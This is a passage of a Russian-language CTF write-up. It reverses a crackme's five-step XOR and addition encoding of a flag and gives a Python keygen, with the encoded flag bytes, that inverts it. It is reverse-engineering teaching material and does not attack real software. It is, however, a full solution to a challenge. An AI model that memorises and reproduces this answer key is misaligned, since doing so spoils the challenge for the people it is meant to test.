  <p id="XNMh">Первый шаг - каждый байт ксорится с  ключём <code>encr7pt1on_k3yencr7pt1on_k3y</code></p>
  <figure id="750V" class="m_original">
    <img src="https://img1.teletype.in/files/4c/87/4c87306d-f0b1-4afb-a053-99eb19a4b3fc.png" width="300" />
  </figure>
  <p id="hXAe">Второй шаг - каждый байт ксорится по кругу с захардкоженными значениями <code>0xE5, 0x99, 0xB3</code>:</p>
  <figure id="lpnh" class="m_original">
    <img src="https://img1.teletype.in/files/c4/c5/c4c518ff-4988-45a3-ac9f-5c70132fe0cf.png" width="278" />
  </figure>
  <figure id="vDg4" class="m_original">
    <img src="https://img2.teletype.in/files/9d/fb/9dfb0305-0417-40d8-afcb-afbd8d4bfcd5.png" width="438" />
  </figure>
  <p id="bz8C">Третий шаг - каждый байт складывается с <code>0x65</code>:</p>
  <figure id="p0OS" class="m_original">
    <img src="https://img3.teletype.in/files/af/31/af31a267-d384-4d5b-b2bb-8de3b3d55d56.png" width="299" />
  </figure>
  <p id="BsRp">Четвертый шаг - каждый байт складывается с <code>0x7D</code>:</p>
  <figure id="wHiZ" class="m_original">
    <img src="https://img4.teletype.in/files/f1/c4/f1c4cea2-dac7-4f5f-ab45-e8aba7b74536.png" width="289" />
  </figure>
  <p id="JZW7">Последний шаг - каждый байт ксорится с другими захардкоженными значениями <code>0xE8,0x90,0xB6</code>:</p>
  <figure id="xJc9" class="m_original">
    <img src="https://img2.teletype.in/files/59/1e/591e666f-52e9-43f5-a951-e12c3e6ba8ab.png" width="292" />
  </figure>
  <p id="Icyc">После выхода из функции будет сравнение длины введенной строки с длиной флага. Длина должна быть равна 28 и происходит сравнение строк:</p>
  <figure id="2oTr" class="m_column">
    <img src="https://img1.teletype.in/files/c3/e2/c3e2cf99-c24f-44c6-b354-941e5bdd7802.png" width="1182" />
  </figure>
  <p id="oyx1">После реверса становится ясно, что без написания кейгена будет сложно расшифровать флаг, да и к тому же все операции обратимы.</p>
  <h2 id="6aKF">Пишем кейген</h2>
  <p id="q5CK"></p>
  <p id="8Mu9">Для тестирования взял такую строку: <code>ABCDEFGHIJKLMNOPQRSTUVWXYZ{}</code>. </p>
  <p id="9Oe0">Первым шагом был ксор строки с ключом <code>encr7pt1on_k3yencr7pt1on_k3y</code>:</p>
  <pre id="FGM7">for i in range(len(test)):
	print(hex(ord(test[i]) ^ ord(key[i])),end=&quot; &quot;)
	res_1.append(ord(test[i]) ^ ord(key[i]))</pre>
  <p id="z3CS"></p>
  <p id="u2H8">Дальше ксор с захардкоженными значениями:</p>
  <pre id="c0lk">round_key_2 = [0xE5, 0x99, 0xB3]
for i in range(len(res_1)):
	print(hex(res_1[i] ^ round_key_2[i%3]),end=&quot; &quot;)
	res_2.append(res_1[i] ^ round_key_2[i%3])
</pre>
  <p id="LSDm"></p>
  <p id="wUxn">После сложение с <code>0x65</code> и <code>0x7d</code>:</p>
  <pre id="gGpM">for i in range(len(res_2)):
	print(hex((((res_2[i] + 0x65)%0x100) + 0x7D)%0x100),end=&quot; &quot;)
	res_3.append((res_2[i] + 0x65)%0x100) </pre>
  <p id="XtRh"></p>
  <p id="9STp">Последний шаг - ксор со вторыми захардкоженными значениями:</p>
  <pre id="ZnP9">round_key_3 = [0xE8, 0x90, 0xB6]
for i in range(len(res_4)):
	print(hex(res_4[i] ^ round_key_3[i%3]),end=&quot; &quot;)
	res_5.append(res_4[i] ^ round_key_3[i%3])</pre>
  <p id="hlC3"></p>
  <p id="JiQ7">Таким образом, полный алгоритм шифрования выглядит так:</p>
  <pre id="he55">test = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ{}&quot;
key = &quot;encr7pt1on_k3yencr7pt1on_k3y&quot;
round_key_2 = [0xE5, 0x99, 0xB3]
round_key_3 = [0xE8, 0x90, 0xB6]

res_1 = []
res_2 = []
res_3 = []
res_4 = []
res_5 = []

print(&quot;ROUND 1&quot;)
# round 1
for i in range(len(test)):
	print(hex(ord(test[i]) ^ ord(key[i])),end=&quot; &quot;)
	res_1.append(ord(test[i]) ^ ord(key[i]))

#round 2
print(&quot;&quot;)
print(&quot;ROUND 2&quot;)
for i in range(len(res_1)):
	print(hex(res_1[i] ^ round_key_2[i%3]),end=&quot; &quot;)
	res_2.append(res_1[i] ^ round_key_2[i%3])

#round 3
print(&quot;&quot;)
print(&quot;ROUND 3&quot;)
for i in range(len(res_2)):
	print(hex((res_2[i] + 0x65)%0x100),end=&quot; &quot;)
	res_3.append((res_2[i] + 0x65)%0x100)

#round 4
print(&quot;&quot;)
print(&quot;ROUND 4&quot;)
for i in range(len(res_3)):
	print(hex((res_3[i] + 0x7D)%0x100),end=&quot; &quot;)
	res_4.append((res_3[i] + 0x7D)%0x100)

#round 5
print(&quot;&quot;)
print(&quot;ROUND 5&quot;)
for i in range(len(res_4)):
	print(hex(res_4[i] ^ round_key_3[i%3]),end=&quot; &quot;)
	res_5.append(res_4[i] ^ round_key_3[i%3])


print(&quot;\n&quot;)
print(&quot;RESULT&quot;)
for i in res_5:
	print(hex(i), end=&quot; &quot;)</pre>
  <p id="djnl"></p>
  <p id="N4Do">Выводит следующее:</p>
  <figure id="f2Pi" class="m_column">
    <img src="https://img4.teletype.in/files/38/37/3837689d-cb8d-4f75-9949-60e4c127350e.png" width="1087" />
  </figure>
  <p id="bOcd">И проверим, что выведет бинарь:</p>
  <figure id="Av5X" class="m_column">
    <img src="https://img1.teletype.in/files/cd/c1/cdc18839-560a-4346-a176-a4cc5958cb86.png" width="1188" />
  </figure>
  <p id="tu3t">Получили тоже самое. Теперь осталось это всё обратить и получим флаг. </p>
  <p id="O6wF">Кейген выглядит так:<br /></p>
  <pre id="NQTs">flag = [0x20,0xed,0x25,0x3a,0x27,0x30,0x6b,0x49,0x79,0x32,0x1a,0x38,0x83,0xe5,0x2b,0x29,0xe4,0x36,0x70,0x2a,0x35,0x7c,0x39,0x16,0x59,0x10,0x2f,0x2b]

key = &quot;encr7pt1on_k3yencr7pt1on_k3y&quot;
round_key_2 = [0xE5, 0x99, 0xB3]
round_key_3 = [0xE8, 0x90, 0xB6]

res_1 = []
res_2 = []
res_3 = []
res_4 = []
res_5 = []

for i in range(len(flag)):
	print(hex(flag[i] ^ round_key_3[i%3]),end=&quot; &quot;)
	res_1.append(flag[i] ^ round_key_3[i%3])

for i in range(len(res_1)):
	print(hex((res_1[i] - 0x7D)%0x100),end=&quot; &quot;)
	res_2.append((res_1[i] - 0x7D)%0x100)

for i in range(len(res_2)):
	print(hex((res_2[i] - 0x65)%0x100),end=&quot; &quot;)
	res_3.append((res_2[i] - 0x65)%0x100)

for i in range(len(res_1)):
	print(hex(res_3[i] ^ round_key_2[i%3]),end=&quot; &quot;)
	res_4.append(res_3[i] ^ round_key_2[i%3])

for i in range(len(res_4)):
	print(hex(res_4[i] ^ ord(key[i])),end=&quot; &quot;)
	res_5.append(chr(res_4[i] ^ ord(key[i])))

print(&quot;\n\n&quot;)
for i in res_5:
    print(i,end=&quot;&quot;)</pre>
  <figure id="35df" class="m_column">
    <img src="https://img4.teletype.in/files/76/00/76004908-0832-4436-9294-b6fc492a43eb.png" width="1078" />
  </figure>
  <figure id="63RU" class="m_column">
    <img src="https://img2.teletype.in/files/9f/6f/9f6f58d4-c95a-4896-9d22-c6cad1c6aee3.png" width="1920" />
  </figure>

]]></content:encoded></item></channel></rss>